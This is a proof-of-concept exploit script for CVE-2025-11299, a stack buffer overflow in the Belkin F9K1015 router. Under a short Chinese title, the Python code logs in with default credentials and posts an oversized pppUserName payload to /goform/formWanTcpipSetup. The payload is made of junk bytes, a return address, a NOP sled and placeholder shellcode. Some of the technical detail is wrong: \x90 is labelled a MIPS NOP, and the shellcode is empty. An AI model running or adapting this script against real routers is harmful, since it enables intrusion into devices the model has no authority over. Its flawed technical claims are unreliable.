CVE-2025-11299：Belkin F9K1015路由器formWanTcpipSetup缓冲区溢出漏洞

# CVE-2025-11299 PoC - Belkin F9K1015 Buffer Overflow # Target: /goform/formWanTcpipSetup endpoint # Parameter: pppUserName import requests from pwn import * TARGET_HOST = "192.168.1.1" # Default Belkin router IP TARGET_PORT = 80 AUTH_USER = "admin" AUTH_PASS = "password" # Default or obtained credentials def exploit(): # Step 1: Authenticate to the router session = requests.Session() login_url = f"http://{TARGET_HOST}:{TARGET_PORT}/login.asp" auth_data = { "loginUsername": AUTH_USER, "loginPassword": AUTH_PASS } session.post(login_url, data=auth_data) # Step 2: Prepare buffer overflow payload # The pppUserName parameter has insufficient bounds checking # Overflow the stack buffer to overwrite return address overflow_size = 512 # Adjust based on actual buffer size junk = b"A" * overflow_size # Return address placeholder (MIPS little-endian example) # In real exploit, this would point to shellcode or ROP gadget ret_address = p32(0x7f010001) # NOP sled + shellcode placeholder nop_sled = b"\x90" * 32 # MIPS NOP instruction shellcode = b"\x00" * 64 # Placeholder for actual shellcode payload = junk + ret_address + nop_sled + shellcode # Step 3: Send malicious request to vulnerable endpoint exploit_url = f"http://{TARGET_HOST}:{TARGET_PORT}/goform/formWanTcpipSetup" exploit_data = { "pppUserName": payload.decode('latin-1'), "pppPassword": "test", "wanConnectionType": "PPPoE" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: response = session.post(exploit_url, data=exploit_data, headers=headers) print(f"[*] Exploit sent. Status: {response.status_code}") # Check if device crashed or shellcode executed except requests.exceptions.RequestException as e: print(f"[!] Request failed (device may have crashed): {e}") if __name__ == "__main__": exploit()